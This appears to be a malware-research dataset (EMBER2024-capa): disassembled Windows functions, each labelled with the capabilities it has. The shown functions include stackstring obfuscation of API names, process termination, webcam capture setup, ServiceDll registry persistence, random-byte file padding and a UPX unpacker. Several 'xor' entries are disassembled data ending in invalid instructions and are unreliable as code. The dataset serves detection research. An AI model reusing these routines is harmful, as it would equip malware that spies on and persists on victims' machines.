joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000aab0
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, ecx
push str.OpenProcess
push str.KERNEL32.dll
mov dword [esp + 0x18], edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, dword [esp + 0x1c]
xor esi, esi
test ebp, ebp
mov ebx, eax
jbe 0x1000ab0c
mov eax, dword [esp + 0x18]
mov ecx, dword [esi + eax]
push ecx
push 0
push 0x1f0fff
call ebx
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebp
jb 0x1000aade
mov edi, dword [esp + 0x10]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.1000aa50
mov ecx, edi
call fcn.1000aa80
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
Function at 0x1000b020
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x30
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x15], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
mov cl, 0x74
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 2], al
mov byte [esp + 5], al
mov byte [esp + 8], al
mov byte [esp + 4], cl
mov byte [esp + 0xa], cl
lea eax, [esp]
push esi
lea ecx, [esp + 0x14]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x1c], 0x6b
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], dl
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x28], 0
mov byte [esp + 0xc], 0x43
mov byte [esp + 0xd], 0x72
mov byte [esp + 0xf], 0x61
mov byte [esp + 0x12], 0x45
mov byte [esp + 0x13], 0x76
mov byte [esp + 0x15], dl
mov byte [esp + 0x17], 0x41
mov byte [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
push 0
mov dword [esp + 0x28], edx
mov dl, byte [esp + 0x54]
push 0
push 0
push 0
mov dword [esp + 0x38], ecx
mov byte [esp + 0x3c], dl
call eax
mov ecx, dword [esp + 0x48]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x4c]
lea edx, [esp + 0x24]
push eax
mov eax, dword [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x40]
push edx
push 0x1000afa0
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x48]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x30
ret
Function at 0x1000b600
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], cl
mov cl, 0x74
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0xe], al
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x10], cl
mov byte [esp + 0x16], cl
lea eax, [esp + 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x20]
mov bl, 0x72
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x10015264
mov byte [esp + 0x28], 0x6b
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], 0
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1e], 0x45
mov byte [esp + 0x1f], 0x76
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.user32.dll
mov ebx, eax
call edi
push 0
push 0
push 0
push 0
mov dword [0x1001ae24], eax
call ebx
xor ebx, ebx
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.1000b850
test al, al
je 0x1000b751
mov al, byte [0x1001ae20]
test al, al
jne 0x1000b751
mov edx, dword [0x1001ae24]
push str.CreateWindowExA
push edx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x80000000
push 0x1001a618
push str.32770
push ebx
call eax
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esi + 0x10], eax
call ebx
add esp, 4
push str.AVICAP32.dll
call edi
mov edi, eax
push str.capCreateCaptureWindowA
push edi
call ebp
mov ecx, dword [esi + 0x10]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x50000000
push str.CVideoCap
call eax
push 0x30
mov dword [esi + 0x14], eax
call ebx
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x1000c3b0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
lea eax, [esp + 0x78]
push edi
push eax
mov byte [esp + 0x7c], 0x66
mov byte [esp + 0x15e], 0
mov dword [esp + 0x80], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edi, dword [esp + 0x2d4]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x160]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x1c4], 0
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov dword [esp + 0x14], 0x100
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x3f
lea edi, [esp + 0x1c5]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x1c]
stosb byte es:[edi], al
push ecx
mov edi, 1
push edx
push 0
push edi
push 0
push 0
push 0
push str.NetSubKey
push 0x80000001
mov dword [esp + 0x40], edi
call dword [0x1001a4dc]
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.GetComputerNameA
push str.KERNEL32.dll
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov esi, eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1c4]
push eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
push ecx
push edx
push 0
push 0x1001a618
push eax
mov dword [esp + 0x38], edi
call dword [0x1001a4f0]
test eax, eax
jne 0x1000c4ad
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x1001a474]
jmp 0x1000c4bc
lea edx, [esp + 0x14]
lea eax, [esp + 0x1c4]
push edx
push eax
call esi
xor ecx, ecx
lea edx, [esp + 0x18]
mov dword [esp + 0x24], ecx
push edx
mov dword [esp + 0x2c], ecx
lea eax, [esp + 0x28]
mov dword [esp + 0x30], ecx
push eax
mov dword [esp + 0x38], ecx
mov ecx, dword [esp + 0x2d4]
mov dword [esp + 0x20], 0x10
mov edx, dword [ecx + 0xa8]
push edx
call dword [0x1001a600]
mov eax, dword [esp + 0x28]
mov ecx, 0xc
lea esi, [esp + 0x1c4]
lea edi, [esp + 0x128]
mov dword [esp + 0x124], eax
push str.GetSystemInfo
rep movsd dword es:[edi], dword [esi]
push str.KERNEL32.dll
movsw word es:[edi], word [esi]
call ebp
push eax
call ebx
lea ecx, [esp + 0x54]
push ecx
call eax
mov dx, word [esp + 0x68]
mov word [esp + 0x118], dx
call fcn.1000c2f0
mov dword [esp + 0x11c], eax
lea eax, [esp + 0x34]
push eax
mov dword [esp + 0x38], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov ecx, dword [esp + 0x3c]
shr ecx, 0x14
inc ecx
mov dword [esp + 0x120], ecx
call fcn.1000c350
mov edx, dword [esp + 0x2d0]
mov ecx, dword [esp + 0x2cc]
mov byte [esp + 0x15a], al
lea eax, [esp + 0x78]
push 0x14c
push eax
mov dword [esp + 0x164], edx
call fcn.100026e0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret
Function at 0x1000cb70
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov ebx, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000cbef
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
cmp byte [esi + ebx], 0x5c
jne 0x1000cbdd
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call ebp
lea ecx, [esp + 0x1c]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x1000cbdd
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x1000cbac
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x1000ced0
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Aoszvx_SaholpmpHng
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.1000cdf0
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x24]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x90]
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.1000ce50
add esp, 0x1c
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push 0x80000002
mov dword [esp + 0x38], 1
call dword [0x1001a4dc]
push str._RqmbzdlDjn_p___ovrTWonxhznkx_jlr
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p___ovrTWonxhznkx_jlr
push 2
push ebx
push str.ServiceDll
push eax
call dword [0x1001a4e0]
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x1001a474]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000cdf0
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.1000ce50
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x1000d390
Capabilities:
Contain obfuscated stackstrings
Set file attributes

Disassembly:
sub esp, 0x440
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x18]
push edi
lea ecx, [esp + 0x28]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x6c
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x10]
lea eax, [esp + 0x38]
push edx
push eax
mov byte [esp + 0x40], 0x6b
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0x6e
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], 0x6c
mov byte [esp + 0x46], 0x33
mov byte [esp + 0x47], 0x32
mov byte [esp + 0x48], 0x2e
mov byte [esp + 0x49], 0x64
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x6c
mov byte [esp + 0x4c], 0
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x46
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x6c
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0
call esi
push eax
call edi
mov ecx, dword [esp + 0x454]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push ecx
mov dword [esp + 0x64], eax
call ebp
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000d58a
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x51]
mov byte [esp + 0x50], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0x4c], 0
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x5005
xor edi, edi
idiv ecx
mov ebp, edx
test ebp, ebp
jle 0x1000d568
mov edx, edi
and edx, 0x800003ff
jns 0x1000d52c
dec edx
or edx, 0xfffffc00
inc edx
jne 0x1000d54d
xor esi, esi
call dword [sym.imp.MSVCRT.dll_rand]
add eax, esi
mov ecx, 0xff
cdq
idiv ecx
inc esi
cmp esi, 0x400
mov byte [esp + esi + 0x4f], dl
jl 0x1000d530
lea edx, [esp + 0x4c]
push 0
push edx
lea eax, [esp + 0x58]
push 0x400
push eax
push ebx
call dword [esp + 0x5c]
inc edi
cmp edi, ebp
jl 0x1000d51a
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x10018e48]
mov edx, dword [esp + 0x454]
and ecx, 0xffff
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x440
ret
Function at 0x40f840
Capabilities:
Encode data using xor

Disassembly:
pop esp
xor byte [edi + 0x2bc0a6d0], dh
adc al, 0x5a
jmp 0x40f8a8
pop ebp
dec edx
mov byte [eax + 0x38df793a], ah
dec edi
dec ecx
les ebx, [ecx + 0x70f8577a]
enter 0xffffffffffff8b28, 0xffffffffffffff99
adc ebx, dword [edx + 0x12]
not byte [ebp + 0x1a]
bswap esp
mov eax, 0x67f6aaa6
fnstsw word [eax + 0x68]
mov bh, cl
sar esp, 0xa8
into
lahf
inc ebp
cwde
jnp 0x40f84a
sbb bl, cl
cmp eax, 0x6faef95
sbb eax, 0xee4c3e74
scasd eax, dword es:[edi]
test eax, 0x110de9ce
jmp 0xc8601439
sub ebx, ebx
xor al, 0x81
dec ebp
mov dh, 0x2e
enter 0xffffffffffff8411, 0xfffffffffffffffa
test dword [edx - 0x561e7c9d], ebp
and ecx, 0xffffffa9
adc dword [eax + 0x761d062b], ebx
or al, 0xcd
xchg esp, eax
xor dword [esi + ecx*8 + 0x39929f21], esp
pushfd
sti
mov edx, 0xb1e90a5
jo 0x40f899
add bh, ah
inc ecx
cli
pop ss
stc
sbb al, 0x35
cdq
and eax, 0x50d63af
inc esi
xor eax, 0x5d41cca9
call 0xdddff3c8
lcall 0xb676, 0x76f9d5c7
js 0x40f873
jae 0x40f8ec
mov edx, ebx
in eax, dx
invalid
invalid

Function at 0x42f0a0
Capabilities:
Encode data using xor

Disassembly:
add ah, cl
int3
sub dword [ecx + 0x26b63ad8], 0xe8a59aee
lcall 0x5d17, 0x52f4808c
jg 0x42f073
xor cl, byte [edi]
push esi
invalid

Function at 0x437c9d
Capabilities:
Encode data using xor

Disassembly:
pop ds
in eax, dx
imul edx, ebp, 0xffffffff
aas
push ss
div byte [ebx + 0x4b3cc568]
dec ebx
stosb byte es:[edi], al
sal dword [edi + 0x724428ef], cl
xchg esi, eax
mov eax, 0x9abe468
in eax, dx
xchg ecx, eax
out 0xc7, eax
push 0xbb449d81
invalid

Function at 0x43b6d0
Capabilities:
Encode data using xor

Disassembly:
fidiv word [eax + edx*4]
xor al, 0x90
clc
sbb byte [esi + eax*2 + 0x3c], cl
sub byte ss:[0x811b407d], cl
std
sbb byte [edi + ebp*8 + 0x22], 0xc0
push ebp
push eax
sub al, 0x60
pop esp
pop ss
stc
xchg ebp, eax
push esi
or eax, 0xaf5acd89
pushfd
sbb eax, 0xcbe15a5e
cdq
and byte [ebx], dl
in eax, dx
imul ebx, esi, 0x1106c87a
test eax, 0x62704915
outsb dx, byte [esi]
pushfd
mov al, 0xa1
push eax
loopne 0x43b68f
imul eax, eax, 0x30c67881
add dword [ebx - 0x357ded44], 0x25b9d99
invalid
Function at 0x629d05
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x6333c0
cmp edx, dword [eax]
je 0x629d27
add eax, 8
inc ecx
cmp eax, 0x633450
jl 0x629d18
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x6333c0]
jne 0x629e55
mov eax, dword [0x63bd68]
cmp eax, 1
je 0x629e2f
test eax, eax
jne 0x629d58
cmp dword [0x6332e8], 1
je 0x629e2f
cmp edx, 0xfc
je 0x629e55
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x629d8f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0062a6f0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0062ab80
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x629dd2
lea eax, [ebp - 0x1a4]
push eax
call fcn.0062ab80
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x62fa54
push edi
call fcn.0062ca50
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0062a6f0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0062a700
lea eax, [ebp - 0xa0]
push 0x62fa34
push eax
call fcn.0062a700
push dword [esi + 0x6333c4]
lea eax, [ebp - 0xa0]
push eax
call fcn.0062a700
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0062c9c4
add esp, 0x2c
pop edi
jmp 0x629e55
lea eax, [ebp + 8]
lea esi, [esi + 0x6333c4]
push 0
push eax
push dword [esi]
call fcn.0062ab80
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x4b6f40
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x46a015
lea edi, [esi - 0x69015]
push edi
or ebp, 0xffffffff
jmp 0x4b6f62
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b6f69
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b6f58
mov eax, 1
add ebx, ebx
jne 0x4b6f7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b6f8c
jne 0x4b6fab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b6fab
dec eax
add ebx, ebx
jne 0x4b6f98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b6f70
add ebx, ebx
jne 0x4b6fa7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b6ffd
xor ecx, ecx
sub eax, 3
jb 0x4b6fc3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b7032
sar eax, 1
mov ebp, eax
jmp 0x4b6fce
add ebx, ebx
jne 0x4b6fce
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b6f9c
inc ecx
add ebx, ebx
jne 0x4b6fdc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b6f9c
add ebx, ebx
jne 0x4b6fe9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b6fde
jne 0x4b6ffa
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b6fde
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b701c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b700e
jmp 0x4b6f5e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b701c
add edi, ecx
jmp 0x4b6f5e
pop esi
mov edi, esi
mov ecx, 0xf44
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b703a
cmp byte [edi], 6
jne 0x4b703a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b703f
lea edi, [esi + 0xb3000]
mov eax, dword [edi]
or eax, eax
je 0x4b70ae
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xc8028]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xc8118]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b706c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xc811c]
or eax, eax
je 0x4b70a8
mov dword [ebx], eax
add ebx, 4
jmp 0x4b7089
call dword [esi + 0xc812c]
mov ebp, dword [esi + 0xc8120]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b70e2
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x404ee0
Capabilities:
Generate random numbers via rtlgenrandom
Generate random numbers via winapi

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20
xorps xmm0, xmm0
mov esi, edx
mov edi, ecx
mov ebp, esp
movups xmmword [esp + 0x10], xmm0
movups xmmword [esp], xmm0
push 2
push 0x20
push ebp
push 0
call dword [sym.imp.bcrypt.dll_BCryptGenRandom]
cmp eax, 0xc0000000
jb 0x404f1c
mov ebx, eax
push 0x20
push ebp
call dword [sym.imp.ADVAPI32.dll_SystemFunction036]
test al, al
je 0x404f65
movups xmm0, xmmword [esp]
movups xmm1, xmmword [esp + 0x10]
movups xmmword [edi], xmm0
xorps xmm0, xmm0
movups xmmword [edi + 0x10], xmm1
movsd qword [edi + 0x20], xmm0
movsd qword [edi + 0x28], xmm0
mov dword [edi + 0x40], 0
mov ecx, 0xffffff00
mov edx, esi
mov eax, dword [edi + 0x34]
add ecx, dword [edi + 0x30]
adc eax, 0xffffffff
mov dword [edi + 0x38], ecx
mov ecx, edi
mov dword [edi + 0x3c], eax
call fcn.00407810
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
movzx eax, byte [0x77618d]
xor ecx, ecx
mov edx, 4
call fcn.00490be0
test eax, eax
je 0x404f95
and ebx, 0x7fffffff
mov dword [eax], ebx
push eax
push 0
push dword [0x776180]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x404f39
ud2
Function at 0x418560
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
cmp eax, 0x80
jb 0x418734
movdqu xmm4, xmmword [edx]
not ecx
movdqu xmm3, xmmword [edx + 0x10]
movdqu xmm2, xmmword [edx + 0x20]
movdqu xmm1, xmmword [edx + 0x30]
movdqa xmm5, xmmword [0x4e7400]
add edx, 0x40
add eax, 0xffffffc0
movd xmm0, ecx
pxor xmm0, xmm4
movq xmm4, qword [0x4e73f0]
nop word cs:[eax + eax]
nop dword [eax]
movdqa xmm6, xmm0
movdqa xmm7, xmm0
movdqu xmm0, xmmword [edx]
add eax, 0xffffffc0
pclmulqdq xmm6, xmm4, 0
pclmulqdq xmm7, xmm5, 0x11
pxor xmm0, xmm6
movdqu xmm6, xmmword [edx + 0x10]
pxor xmm0, xmm7
movdqa xmm7, xmm3
pclmulqdq xmm3, xmm5, 0x11
pclmulqdq xmm7, xmm4, 0
pxor xmm7, xmm6
movdqu xmm6, xmmword [edx + 0x20]
pxor xmm3, xmm7
movdqa xmm7, xmm2
pclmulqdq xmm2, xmm5, 0x11
pclmulqdq xmm7, xmm4, 0
pxor xmm7, xmm6
movdqu xmm6, xmmword [edx + 0x30]
add edx, 0x40
cmp eax, 0x3f
pxor xmm2, xmm7
movdqa xmm7, xmm1
pclmulqdq xmm1, xmm5, 0x11
pclmulqdq xmm7, xmm4, 0
pxor xmm7, xmm6
pxor xmm1, xmm7
ja 0x4185b0
movq xmm4, qword [0x4e7410]
pmovzxdq xmm5, qword [0x4e7450]
movdqa xmm6, xmm0
cmp eax, 0x10
pclmulqdq xmm6, xmm4, 0
pclmulqdq xmm0, xmm5, 0x11
pxor xmm0, xmm6
pxor xmm0, xmm3
movdqa xmm3, xmm0
pclmulqdq xmm0, xmm5, 0x11
pclmulqdq xmm3, xmm4, 0
pxor xmm0, xmm3
pxor xmm0, xmm2
movdqa xmm2, xmm0
pclmulqdq xmm0, xmm5, 0x11
pclmulqdq xmm2, xmm4, 0
pxor xmm0, xmm2
pxor xmm0, xmm1
jb 0x4186c7
nop word cs:[eax + eax]
nop
movdqu xmm1, xmmword [edx]
movdqa xmm2, xmm0
add eax, 0xfffffff0
pclmulqdq xmm0, xmm5, 0x11
add edx, 0x10
